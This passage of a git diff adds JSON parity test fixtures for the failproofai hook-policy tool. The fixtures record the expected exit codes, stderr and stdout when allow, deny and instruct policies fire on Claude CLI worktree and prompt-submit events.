"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ff0db229 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4c7428e2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..103fbbf5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6a65a208 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c5041ac4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a927b642 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2e2d703f --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6d45c202 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6a5752a6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d488655e --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..559b5a7a --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..30b6f551 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ae51421f --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1be62651 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d19ddd57 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9b4f7332 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..16037cb9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9bf6a876 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d08e5d20 --- /dev/null +++ b/__tests__/parity/fixtures/claude/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + 